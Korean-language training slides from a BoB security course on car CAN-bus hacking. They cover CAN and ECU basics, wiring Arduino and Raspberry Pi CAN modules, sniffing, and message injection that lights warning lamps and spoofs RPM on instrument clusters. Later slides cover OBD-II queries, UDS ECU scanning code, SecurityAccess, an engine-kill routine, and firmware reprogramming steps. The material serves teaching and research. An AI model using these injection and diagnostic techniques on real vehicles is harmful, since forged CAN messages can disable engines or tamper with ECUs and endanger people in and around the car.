자동차 CANBUS 해킹정구홍 @BoB
CAN-Bus hacking
Summary About CANBUS Arduino Essential CANBUS Hacking Practice Real CANBUS Hacking
CAN 통신이란? Controller Area Network 차량내장치들의통신을위해설계된표준통신규격 1983 년 Bosch 社에의해개발 1993 년에국제표준으로제정 (ISO 11898) 차량전용통신프로토콜이었지만, 최근에는차량뿐만아니라산업용자동화기기나의료용장비에서도사용되고있음 속도 : Maximum 1Mbps 길이 : Maximum 1km (50Kbps mode)
CAN Bus 란? CAN 에다수의 Node(ECU) 들이연결된구조
CAN Message 의특징 각메시지는자신의고유 ID 를가짐 이고유 ID 는곧수신대상장비의종류를의미함 메시지충돌시 ID 를통하여우선순위결정 낮을수록우선순위가높음 CAN 네트워크안의모든 Node(ECU) 들이메시지를수신함 즉, Address 정보가따로없음 자신에게필요한메시지일경우수신 (ID check), 아닐경우무시
ECU 란? ECU = Electronic Control Unit 차량내의각부품들에들어있는컴퓨터장치를의미 Engine Telematics Head Unit(AVN) Transmission Airbag Remote Key Steering Brake 등하나의차량안에 30~70 종류의 ECU 들이포함되어있음 각장치들에맞는역할및 CAN Message 송수신기능을함 참고 : Engine Control Unit 의약자역시 ECU 과거엔 ECU 라고하면 Engine Control Unit 을의미했었지만, 현재는 Electronic Control Unit 의의미로일반화되었음
주요 ECU 종류들 이름 ECU TCU TCU DCU SCU CLS EDR PCM BCM HVAC TDM 의미 Engine Control Unit (ECM = Engine Control Module) Telematics Control Unit Transmission control unit (TCM) Door control unit Speed control unit Central Locking Systems Event Data Recorder Parking Assist Module Body Control Module Heating, Ventilation, Air Conditioning Theft Deterrent Module
CAN 통신의문제점 CAN 네트워크안의한장비가모든 CAN 패킷들을볼수있음 (Sniffing) CAN 네트워크안의한장비가다른장비인것처럼속일수있음 (Injection) 별도의인증체계가존재하지않음
CANBUS Hacking 실습 (1) Arduino 기초 (2) CANBUS에연결하기 (3) CAN Message 송신하기 (4) CAN Message 수신하기
CANBUS 해킹의필요성 자동차해킹의기본상식 CANBUS 해킹가능성을증명할때필요 EX> Arbitrary CAN Message Sending 자동차해킹 Demo 를보일때필요 EX> 컨설팅, 찰리밀러, KEEN 팀의시연 DIY 장비개발가능 EX> 차량스캐너 (ELM327, 몬스터게이지 )
Arduino 기초
아두이노란? 2005 년이탈리아의한대학원 (IDII) 에서개발된하드웨어개발오픈소스플랫폼 통합개발환경 (IDE) 사용이매우쉬움 펌웨어업로딩이매우쉬움 (USB) 하드웨어구매비용이저렴함 (4000 원 ~) 다양한기본예제코드존재 커뮤니티및라이브러리생태계가활성화되어있음
다운로드및설치 https://www.arduino.cc/en/main/software
보드및포트설정
LED 점멸테스트 // 초기화함수 void setup() { // 13 번핀을출력모드로설정 pinmode(13, OUTPUT); } // main loop 함수 void loop() { digitalwrite(13, HIGH); // LED-on delay(3000); // 3초 delay digitalwrite(13, LOW); // LED-off delay(3000); // 3초 delay }
펌웨어업로딩
Serial 출력실습 void setup() { Serial.begin(9600); } void loop() { Serial.print("A"); delay(1000); }
Serial 입력실습 void setup() { Serial.begin(9600); Serial.println("RX test Start!"); } void loop() { char ch; } if (Serial.available()) { ch = Serial.read(); Serial.print("RX : "); Serial.println(ch, HEX); }
CAN BUS Hacking 하기
CAN BUS Hacking 하기 Instrument Cluster of BMW E46
E46 Pinmap 26-pin Dual Row Black Connector 1 : Ground (0v) 5 : On and Start VCC (+12v) 참고 : https://www.bmwgm5.com/bmwgm5/e46_ike_connections.htm http://tsharp.me.uk/project-documentation/e46-cluster-pinout/
ex> 13 : Oil (gnd) E46 Pinmap
CAN Bus Lines CAN Bus High (9) CAN Bus Low (10)
CAN Bus Lines Twist Pair, Differential Signal ( 차동신호 ) 통신방식 Noise 에강함
CAN 통신장비 Digital 신호를 CAN 통신신호로변환해줌 Shield 방식의 CAN 통신모듈 아두이노와쉽게연결가능 하지만연결방법을안다면굳이비싼모듈을살필요가없음!
CAN 통신장비 Shield 가아닌작은 Module 형태의장비 Shield 대비훨씬저렴함 http://itempage3.auction.co.kr/detailview.aspx?itemno=b493918547 품절시 mcp2515 로검색
CAN 모듈 <-> 아두이노연결 CAN 모듈 아두이노 용도 VCC 5V 전원 (+) GND GND 전원 (-) INT 2번핀 CAN 패킷수신시인터럽트발생 CS 9번핀 Chip Select (SPI 채널선택 ) SI 11번핀 Master(Arduino) -> Slave 신호 SO 12번핀 Slave -> Master 신호 SCK 13번핀 SPI Clock 참고 : http://www.14core.com/wiring-the-mcp2515-controller-areanetwork-can-bus-diagnostics/
SPI 통신프로토콜 SPI 란? 주변장치와의시리얼통신인터페이스 Full Duplex 마스터 - 슬레이브구조 Clock 을이용한동기화 핀설명 SCLK : clock MOSI : master out slave in MISO : master in slave out SS : slave select (active low)
MCP2515 통신 Library https://github.com/seeed-studio/can_bus_shield https://github.com/flori1989/mcp2515_lib forked 버전 8Mhz 지원
Library 설치
CAN Message 수신 (Sniffing) #include <mcp_can.h> #include <SPI.h> long unsigned int rxid; unsigned char len = 0; unsigned char rxbuf[8]; MCP_CAN CAN0(9); // Set CS to pin 9 void setup() { Serial.begin(115200); if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); pinmode(2, INPUT); // Setting pin 2 for /INT input Serial.println("MCP2515 Library Receive Example..."); } void loop() { if(!digitalread(2)) { CAN0.readMsgBuf(&len, rxbuf); rxid = CAN0.getCanId(); Serial.print("ID: "); Serial.print(rxId, HEX); Serial.print(" Data: "); for(int i = 0; i<len; i++) { if(rxbuf[i] < 0x10) { Serial.print("0"); } Serial.print(rxBuf[i], HEX); Serial.print(" "); } Serial.println(); } } // If pin 2 is low, read receive buffer // Read data: len = data length, buf = data byte(s) // Get message ID // Print each byte of the data // If data byte is less than 0x10, add a leading zero
CAN Bus Lines CAN Bus High (9) <-> H 핀 CAN Bus Low (10) <-> L 핀
CAN Message 수신 (Sniffing)
문제! 클러스터로부터주기적으로출력되는패킷들중 0x613 ID 를가진패킷의의미를분석해보세요.
CAN Message 송신 https://www.bimmerforums.com/forum/showthread. php?1887229-e46-can-bus-project
CAN Message 송신 예제 -> MCP2515_lib_master -> send // demo: CAN-BUS Shield, send data #include <mcp_can.h> #include <SPI.h> MCP_CAN CAN0(9); // Set CS to pin 9 void setup() { Serial.begin(115200); // init can bus, baudrate: 500k if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); } // 25 per 1000 RPM unsigned char stmp[8] = { 0x00, 0x00, 0xFF, 25*3, 0x00, 0x00, 0x00, 0x00 }; void loop() { // send data: id = 0x00, standrad flame, data len = 8, stmp: data buf CAN0.sendMsgBuf(0x316, 0, 8, stmp); delay(10); // send data per 100ms }
문제! 엔진경고등을켜보세요
문제! 온도계의값을올려보세요.
계기판의활용 (?) https://www.youtube.com/watch?v=vuxnxpwh6do https://www.youtube.com/watch?v=rkys8xebcne
계기판의활용 (?) https://www.youtube.com/watch?v=v4hai3csb8q https://www.youtube.com/watch?v=ug3cbcrixsi
자동차로가즈아! (1 차 ) CAN Packet Sniffing CAN Packet Injection 클러스터제어하기
라즈베리파이 3 + Linux + CAN 통신
Linux + CAN 통신 Arduino CAN 통신의문제점 다량의 CAN Packet 수신시정상처리불가 다량의누락패킷발생 실시간출력이되지않음 SocketCAN Linux 기반의 CAN 통신드라이버 Linux Kernel 2.6.25 이후기본포함 네트워크소켓형태로 CAN 버스접근가능
CAN Packet 누락예시 * 출처 : http://orasman.tistory.com/282
라즈베리파이 + CAN 통신 Raspberry Pi CANBUS Shield 라즈베리파이위에장착하여 CAN 통신가능 역시 CAN 모듈사용법을안다면굳이살필요가없음
CAN 모듈 <-> RasPi3 연결 CAN 모듈 VCC GND INT CS SI SO SCK RasPi3 5V GND GPIO25 SPI_CE0 SPI_MOSI SPI_MISO SPI_CLK
CAN 디바이스설정 # apt-get update # apt-get upgrade # vi /boot/config.txt dtparam=spi=on dtoverlay=mcp2515-can0,oscillator=8000000,interrupt=25 dtoverlay=spi-bcm2835 # reboot # ip link set can0 up type can bitrate 500000
CAN Packet Dump # apt-get install can-utils # candump can0
CAN Packet Dump # cansniffer can0 CAN 패킷들을 ID 별로분류하여볼수있음
CAN Packet Injection cansend ID#DATA 엔진점검등켜기 cansend 545#0200000000000000 Python 이나 C 언어를이용하여빠르게연속적으로보내야함
CAN Message 의구조
CAN Message 의구조 필드 의미 SOF Start of Frame, CAN Message 전송시작을알림 Identifier ID 값, 메시지의종류를나타내며, 낮을수록우선순위가높아짐 RTR CAN Message의타입결정 : 데이터프레임 (0) or 원격요청프레임 (1) IDE Identifier Extension, 1일경우확장 CAN 식별자사용 R0 Reserved DLC Data Length Code, 데이터의길이 Data CAN Message 데이터 CRC Checksum 오류검출 ACK 오류없는메시지전송확인 EOF End of Frame, CAN Message의끝을알림, 7개의 1로구성 (1111111) IFS Inter Frame Space, 3개의 1로구성 (111)
CAN signal sniffing TXCAN, RXCAN 레벨 Saleae Logic Analyzer 툴이용
CAN signal sniffing Start of Frame 부분 564 = 0x234 = 01000110100 RTR IDE R0 1 0 0 0
CAN signal sniffing End of Frame 부분 26544 = 0x67B0 = 110011110110000 ACK
CAN signal sniffing CANH, CANL 레벨의 Differential signal sniffing
CAN Bus Controller VS CAN Bus Transceiver
CAN Bus Controller 기능 CAN 통신을처리하는프로세서 CAN Message Frame 구성 CAN Message 동기화 Error 탐지및처리 주요 Controller MCP2515 (Microchip) http://ww1.microchip.com/downloads/en/devicedoc/21801f.pdf SJA1000 (NXP) https://www.nxp.com/documents/data_sheet/sja1000.pdf
CAN Bus Transceiver 기능 Digital 신호레벨을 CAN Bus 신호레벨로변환 주요 Transceiver TJA1040, TJA1050 (NXP) MCP2551 (NXP) PCA82C250 ( 필립스 )
Flow of CAN Message
문제! 주어진보드에서 Controller 와 Transceiver 를찾아보세요.
CAN Packet Samples https://community.comma.ai/cabana/?demo=1
올뉴모닝 Cluster 연결
올뉴모닝 Cluster 연결 전원용어 의미 B+ 상시전원 ACC (Accessory) IGN (Ignition, 점화 ) KEY 1 단 KEY 2 단
올뉴모닝 Cluster 연결
Airbag Control Unit 연결
Airbag Control Unit 연결 커넥터기준이므로반대로연결
Airbag Control Unit 연결
Engine Control Unit 연결
Engine Control Unit 연결
Engine Control Unit 연결
Body Control Module 정비지침서 전장회로도
차량진단 (Diagnostic)
차량진단표준 OBD-II On Board Diagnostics ISO 15765-4 UDS Unified Diagnostic Services ISO 14229 모두 CANBus 에대한표준 Sub Protocols
OBD-II 란? OBD : On Board Diagnostics OBD-II : 기존 OBD-I 의차기버전 차량진단을위한표준규약 모든자동차제조사가이표준을따라야함 우리나라는 2007 년도이후로의무장착 RPM, 속도, 배터리전압, 고장코드등의정보를얻을수있음 Query/Response 방식으로작동 Standard Query ID : 0x7DF Response ID : 0x7E8
OBD-II 프로토콜의표준화 서로상이한프로토콜존재 SAE J1850 SAE J1939 ISO 9141-2 ISO 14230 2008 년에국제표준화됨 ISO 15765-4
OBD-II Modes https://en.wikipedia.org/wiki/obd-ii_pids
OBD-II PIDs https://en.wikipedia.org/wiki/obd-ii_pids
차량의속도 Query 하기 #include <mcp_can.h> #include <SPI.h> long unsigned int rxid; unsigned char len = 0; unsigned char rxbuf[8]; MCP_CAN CAN0(9); // Set CS to pin 9 void setup() { Serial.begin(115200); CAN0.begin(CAN_500KBPS, MCP_8MHz); pinmode(2, INPUT); } // init can bus : baudrate = 500k // Setting pin 2 for /INT input void loop() { unsigned char stmp[8] = { 0x02, 0x01, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00 }; unsigned int speed; } while(1){ CAN0.sendMsgBuf(0x7DF, 0, 8, stmp); } while(1){ if(!digitalread(2)) { CAN0.readMsgBuf(&len, rxbuf); rxid = CAN0.getCanId(); if(rxid == 0x7E8 && rxbuf[2] == 0x0d) { speed = rxbuf[3]; Serial.print("Speed : "); Serial.println(speed); break; } } } delay(1000); // Read data: len = data length, buf = data byte(s) // Get message ID [Query] ID : 0x7DF Length : 0x02 Mode : 0x01 PID : 0x0D [Response] ID : 0x7E8 Length Mode : 0x41 PID : 0x0D DATA
Request 성공 vs 실패 성공 Length + ( 보낸값 + 0x40) + Parameter 실패 Length + 0x7F + 실패이유 + Parameter https://automotive.wiki/index.php/iso_14229
차량의 OBD-II 포트와연결하기 OBD-II Cable 빨강 (CAN H) 흰색 (CAN L) 검정 (GND) DLC(Data Link Connector) 차량쪽
OBD-II 관련제품 https://ko.aliexpress.com/item/2017-100-original-new-arrival-xtool- U485-Eobd2-OBD2-CAN-BUS-Auto-Diagnostic-Scanner-Live- Data/32796565103.html
OBD-II 관련제품 http://itempage3.auction.co.kr/detailview.aspx?item No=B339256620
OBD-II 관련제품 ELM327 기반의스마트폰 APP (EX. RealDash)
OBD-II 관련제품 http://itempage3.auction.co.kr/detailview.aspx?item No=A968350213
DTC 란? DTC(Diagnostic Trouble Code) 하나의알파벳 + 4 자리숫자로구성 (ex. P0301) 알파벳 = 어디서문제가발생했는지표시 P - Powertrain ( 엔진, 미션 ) B - Body Control Module ( 몸체 ) C Chassis ( 새시 ) 4 자리숫자 = 고장의원인표시 http://www.obdiicsu.com/obd-ii- 데이터 - 오류 - 코드
UDS diagnostic 이란? Unified Diagnostic Services ISO 14229 표준 OBD-II 와는또다른진단기능들을사용가능 Ex> ECU Reset, Firmware 업로드 / 다운로드가능 https://en.wikipedia.org/wiki/unified_di agnostic_services
UDS diagnostic
CAN Packet 훔치기
UDS Scanning // Diagnostic Session Control Packet(0x10) unsigned char stmp[8] = { 0x02, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 }; for(id=0x780; id<0x800; id++) { // CAN 패킷전송 CAN0.sendMsgBuf(id, 0, 8, stmp); CAN0.readMsgBuf(&len, rxbuf); // Read data: len = data rxid = CAN0.getCanId(); // Get message ID // ID 가 id+8 이라면탐지 if(rxid == (id+8)) {
UDS Scanning 실제차량 ( 올뉴모닝 ) 에대한 Scanning 결과
Ex> 7E0 = PCM(ECM) http://juchems.com/servicemanuals/viewfile3f27.pdf?dir=1029&viewfile=module%20con figuration.pdf%5d
Security Access Request Security Access (Step1) 0x02 0x27 0x01 Response : Random SEED (Challenge Value) Controller와 Tester가서로같은암호화 Key를가지고있어야함 이 Random SEED를암호화하여다시 Controller로전송 ( 맞을시인증성공 )
UDS + Kill Engine RoutineControl 을통해강제엔진정지가능
Firmware Re-Programming 세션생성 DiagnosticSessionControl 권한요청 SecurityAccess Programming 요청 RequestDownload Data 전송 TransferData Data 전송종료 RequestTransferExit
Length 정보분석하기 0x7E0 03 AA BB CC 00 00 ISO-TP 표준 : CAN bus packet 에서의 length 값해석규약 0 Single Frame 단일패킷, 다음 4 비트를 length 로해석 1 First Frame 멀티패킷의첫패킷, 다음 12 비트를 length 로해석 2 Consecutive Frame 멀티패킷의나머지패킷, 다음 4 비트를 offset 으로해석 3 Flow Control Frame First Frame Packet 에대한 acknowledgement can0 7E0#10FF36C000000004 can0 7E8#3000005555555555 can0 7E0#217F000000000280 can0 7E0#22007F0080000000 can0 7E0#2300000000000000 can0 7E0#243145434B443531 can0 7E0#254C303300000000 can0 7E0#2600000000010000 can0 7E0#270043174F26C004 can0 7E0#28020000000080FF
Multi Packet Example
자동차로가즈아! (2 차 ) 라즈베리파이3 + CAN 통신 OBD-II 진단장비사용해보기 차량의 Speed Query하기 DIY LED Strip 감상하기 UDS Scanning 하기
차량내네트워크의종류 용도, 전송속도에따라서로독립적인네트워크사용 클래스용도프로토콜속도 A Class 편의기능, 고급기능 - 거울조정, 썬루프등 LIN 20kbps 이하 B Class 일반적인정보들 - 파워윈도우, 좌석조절 LS(Low Speed) CAN 10~125kbps C Class 실시간제어정보들 - 엔진, 변속, ABS HS(High Speed) CAN 125~1Mbps D Class 멀티미디어정보 - 디지털 TV, 인터넷 MOST, FlexRay Ethernet 1Mbps 이상
전장회로도 GSW GSW (global service way) 정비매뉴얼, 회로도, 코드별진단가이드등제공 현대 https://gsw.hyundai.com 기아 https://gsw.kia.com
전장회로도 GSW
전장회로도 GSW
전장회로도 GSW
자.. 잠깐..! CAN B 와 CAN C 가동시에연결된모듈존재 CAN B 를통해해당모듈의펌웨어를강제업데이트한후, CAN C 에접근할수있음을시사
대상차량의 CAN Bus 는? 속도를통해유추가능 500Kbps => C Class 전장회로도사이트를통해확인가능 => C-CAN
OBD-II + LED Strip =? https://www.youtube.com/watch?v=gcdvvvzvvno
배기가스점검 light 켜기 // demo: CAN-BUS Shield, send data #include <mcp_can.h> #include <SPI.h> MCP_CAN CAN0(9); // Set CS to pin 10 void setup() { Serial.begin(115200); // init can bus, baudrate: 500k if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); } unsigned char stmp[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; void loop() { int i; stmp[0] = 2; for(i=0; i<100; i++){ CAN0.sendMsgBuf(0x545, 0, 8, stmp); delay(10); // send data per 100ms } stmp[0] = 0; for(i=0; i<100; i++){ CAN0.sendMsgBuf(0x545, 0, 8, stmp); delay(10); // send data per 100ms } }
CAN Message 송신 예제 -> MCP2515_lib_master -> send // demo: CAN-BUS Shield, send data #include <mcp_can.h> #include <SPI.h> MCP_CAN CAN0(9); // Set CS to pin 10 void setup() { Serial.begin(115200); // init can bus, baudrate: 500k if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); } unsigned char stmp[8] = { 0x00, 0xAB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; void loop() { // send data: id = 0x00, standrad flame, data len = 8, stmp: data buf CAN0.sendMsgBuf(0x329, 0, 8, stmp); delay(10); // send data per 100ms }
CAN Packet Samples https://community.comma.ai/cabana/?demo=1
Q/A
감사합니다!